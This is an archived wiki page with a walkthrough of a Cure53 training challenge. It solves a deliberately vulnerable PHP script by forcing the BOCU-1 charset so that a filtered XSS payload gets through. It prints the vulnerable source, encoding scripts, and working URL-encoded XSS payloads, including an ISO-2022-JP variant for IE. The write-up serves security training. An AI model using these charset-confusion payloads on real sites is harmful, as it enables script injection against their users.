Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

Cure53 Singapore Training Challenge

jacobsoo edited this page Dec 16, 2014 · 6 revisions

Sources

The challenge source code was given out to the attendees as such:

<?php
/**
 ~ "The Most Secure Browser online" ~
   
    I\   иииии
 |==  }}}>
    I/      иииии  

 ~ Many in French and one less

 ~ Remember, it's offset ODA=
**/

$_=$_=9/(99999*9999999999);

header('Content-Type: text/html; charset=' . (preg_match("/[^d-np-tv-z2-9]/", $_GET[$_]) ? $_GET[$_] : 'utf-8'));
  
echo htmlentities($_GET[++$_], ENT_QUOTES, 'ISO-8859-1');

echo substr(htmlspecialchars($_GET[++$_], ENT_QUOTES, 'ISO-8859-1'), 0, 1);		

echo htmlentities($_GET[$_.!!$_], ENT_QUOTES, 'ISO-8859-1');
?>

First of all a few hints were given in the comment block, let's solve them first

The Hints

  1. "The most secure browser online" with an aeroplane ascii art Google search for "Most Secure Browser" and you will get to the page of Aviator Browser

  2. Many in French and one less

    Translate "many" to French will give us the word "beaucoup" which is pronounced as "bocu" "one less" in mathematical form means -1 and thus, the hint is pointing to "bocu-1" which is a http://en.wikipedia.org/wiki/Binary_Ordered_Compression_for_Unicode

  3. Offset ODA=

    Base-64 decode ODA= will give 80 which is the offset of normal ANSI characters in the bocu-1 charset

The hints pointing to the bocu-1 charset which is supported in the Aviator Browser (bocu-1 is not supported on IE/Firefox/Chrome)

The Challenge

There are four injection points in this challenge. To find out which GET parameters to use, just run the php script without sending any parameters and watch the errors

The four injection parameters are "0", "1", "2" and "21"

Param 0 will affect the charset used by the page.

  • Inject "bocu-1" here
  • Additional note: The regex does not seem to be enforcing a match but rather is another clue to bocu??

Param 1, 2 and 21 have to be combined to get a working bypass Param 1 and 21 is filtered by the htmlentities function Param 2 is filtered by the htmlspecialchars function and only the first character is used

The main obstacle is that htmlentities function will mangle lots of bocu-1 characters. The following script is written to find out which characters are not mangled by this function

<?php
header('Content-Type: text/html; charset=bocu-1'); 
for ($i=0; $i<256; $i++){
	echo htmlentities(urldecode("%".dechex($i)), ENT_QUOTES, 'ISO-8859-1');
}
?>

From this, the characters that can be used are these characters

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNO

The Solution

The final injection is

<BODY ONLOAD=alert(1)>

Note that "Y" and "alert" is not part of the "valid" charset that we are working with which is why there are 3 different injection points Param 2 allows us to pass in 1 character that is only filtered by htmlspecialchars and not htmlentities. The character "Y" will be passed in here The string "alert" will be in the onload attribute of the tag. Therefore, it can be encoded using HTML-entities instead

The final injection looks something like this:

Param 0: "bocu-1"

Param 1: "<BOD"

Param 2: "Y"

Param 21: " ONLOAD=alert(1)>"

The last step is to url-encode these into bocu-1 and send it.

To encode normal ANSI characters to the bocu-1 charset, its as simple as adding decimal 80 to its ASCII value The following script will do the encoding

<?php
	$string = "<BOD";
	$string2 = "Y";
	$string3 = " ONLOAD=&#97;&#108;&#101;&#114;&#116;(1)>";
	$newstring="";
	$newstring2="";
	$newstring3="";
	$array = str_split($string);
	foreach ($array as $letter){
		$index = ord($letter) + 80; // adds decimal 80
		$newstring .= chr($index);
	}
	echo urlencode($newstring)."<br/>";
	$array = str_split($string2);
	foreach ($array as $letter){
		$index = ord($letter) + 80; // adds decimal 80
		$newstring2 .= chr($index);
	}
	echo urlencode($newstring2)."<br/>";
	$array = str_split($string3);
	foreach ($array as $letter){
		$index = ord($letter) + 80; // adds decimal 80
		$newstring3 .= chr($index);
	}
	echo urlencode($newstring3)."<br/>";
?>

Param 0: bocu-1

Param 1: %8C%92%9F%94

Param 2: %A9

Param 21: p%9F%9E%9C%9F%91%94%8Dvs%89%87%8Bvs%81%80%88%8Bvs%81%80%81%8Bvs%81%81%84%8Bvs%81%81%86%8Bx%81y%8E

http://localhost/challenge.php?0=bocu-1&1=%8C%92%9F%94&2=%A9&21=p%9F%9E%9C%9F%91%94%8Dvs%89%87%8Bvs%81%80%88%8Bvs%81%80%81%8Bvs%81%81%84%8Bvs%81%81%86%8Bx%81y%8E

PS: There is another way that would work for IE using the ISO-2022-JP charset but that does not fall in context with the hints given. But the XSS vector for IE is as follows:

https://localhost/challenge.php?0=ISO-2022-JP&1=%1B%24B%01%1D%1B%28Bscrip%1B%24B%7f%1F%1B%28B&2=&21=alert(1);%1B%24B%01%1D%1B%28B/scrip%1B%24B%7f%1F%1B%28B